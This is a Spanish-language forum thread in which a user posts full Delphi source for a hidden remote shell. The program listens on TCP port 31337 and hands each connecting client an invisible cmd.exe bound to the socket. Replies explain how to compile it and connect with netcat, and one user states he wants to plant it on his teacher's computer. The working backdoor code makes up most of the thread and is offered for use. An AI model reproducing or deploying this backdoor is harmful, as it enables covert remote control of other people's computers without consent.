Página 1 de 1

(delphi) Remote Shell

Publicado: 23 Dic 2008, 00:21
por diablo10124
este es el q tengo instalado en las pc's de mi LAN y funciona barbaro

autor: tt

Código: Seleccionar todo

program Remote_Shell;

uses
 Windows, Winsock2, Winsock;

const
 Port = 31337;

var
 WSAData: TWSAData;
 FDSet: TFDSet;
 SockAddrIn: TSockAddrIn;
 ServerSocket: TSocket;
 Connected: PInteger;
 ThreadID: Cardinal;
 szCmdLine: Array [0..MAX_PATH] of Char;

function ShellThread(Parameter: Pointer): Integer;
var
 hSocket: PInteger;
 si: TStartupInfo;
 pi: TProcessInformation;
begin
 hSocket := Parameter;
 ZeroMemory(@si, SizeOf(si));
 si.cb := SizeOf(si);
 si.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
 si.wShowWindow := SW_HIDE;
 si.hStdInput := hSocket^;
 si.hStdOutput := hSocket^;
 si.hStdError := hSocket^;
 CreateProcess(nil, szCmdLine, nil, nil, TRUE, CREATE_NEW_CONSOLE, nil, nil, si, pi);
 WaitForSingleObject(pi.hProcess, INFINITE);
 CloseHandle(pi.hProcess);
 CloseHandle(pi.hThread);
 Shutdown(hSocket^, SD_BOTH);
 CloseSocket(hSocket^);
 Dispose(hSocket);
 Result := 0;
end;

begin
 WSAStartUp(MakeWord(1, 1), WSAData);
 ServerSocket := WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
 SockAddrIn.sin_family := AF_INET;
 SockAddrIn.sin_addr.s_addr := INADDR_ANY;
 SockAddrIn.sin_port := htons(Port);
 Bind(ServerSocket, SockAddrIn, SizeOf(SockAddrIn));
 Listen(ServerSocket, 1);
 GetEnvironmentVariable('Comspec', szCmdLine, MAX_PATH);
 while True do
  begin
   FD_Zero(FDSet);
   FD_Set(ServerSocket, FDSet);
   Select(0, @FDSet, nil, nil, nil);
   if FD_IsSet(ServerSocket, FDSet) then
    begin
     New(Connected);
     Connected^ := Accept(ServerSocket, nil, nil);
     if Connected^ <> SOCKET_ERROR then
      BeginThread(nil, 0, ShellThread, Connected, 0, ThreadID)
     else
      Break;
    end;
  end;
 WSACleanup;
end.

Re: (delphi) Remote Shell

Publicado: 19 Jun 2009, 22:11
por Xo0m
Perdona mi ignorancia, pero como se usa eso, he estado programando malware y necesito una Remote Shell para meterle al profe de español que jode mucho, pero no se como funciona.

Re: (delphi) Remote Shell

Publicado: 19 Jun 2009, 22:55
por deck
cojes copias el codigo y lo pegas en un blog de notas y le pones la extension del delphin y ya

Re: (delphi) Remote Shell

Publicado: 14 Oct 2009, 23:50
por c1s4n7
deck escribió:cojes copias el codigo y lo pegas en un blog de notas y le pones la extension del delphin y ya
disculpa que extencion le pongo?

Re: (delphi) Remote Shell

Publicado: 12 Jul 2010, 22:41
por ekhosxxi
Disculpa no consigo conectarme con netcat... qué usas para tomar la shell remota?

Disculpa, fue mi error... funciona barbaro como dices,
Gracias por el código!!!

Re: (delphi) Remote Shell

Publicado: 04 Feb 2011, 01:28
por konanxp
Muy interesante el code. Lástima que no tenga nivel suficiente para entenderlo. Bueno lo copio y ya le sacaremos punta algún día.

Re: (delphi) Remote Shell

Publicado: 04 Feb 2011, 01:35
por -slandg-
konanxp escribió:Muy interesante el code. Lástima que no tenga nivel suficiente para entenderlo. Bueno lo copio y ya le sacaremos punta algún día.
Bonito flood que estas haciendo a lo pendejo ,

Re: (delphi) Remote Shell

Publicado: 04 Feb 2011, 01:59
por konanxp
Sorry. I`m finish the flood now.

Re: (delphi) Remote Shell

Publicado: 04 Feb 2011, 02:05
por -slandg-
No sabes que revivir post viejo no es bueno?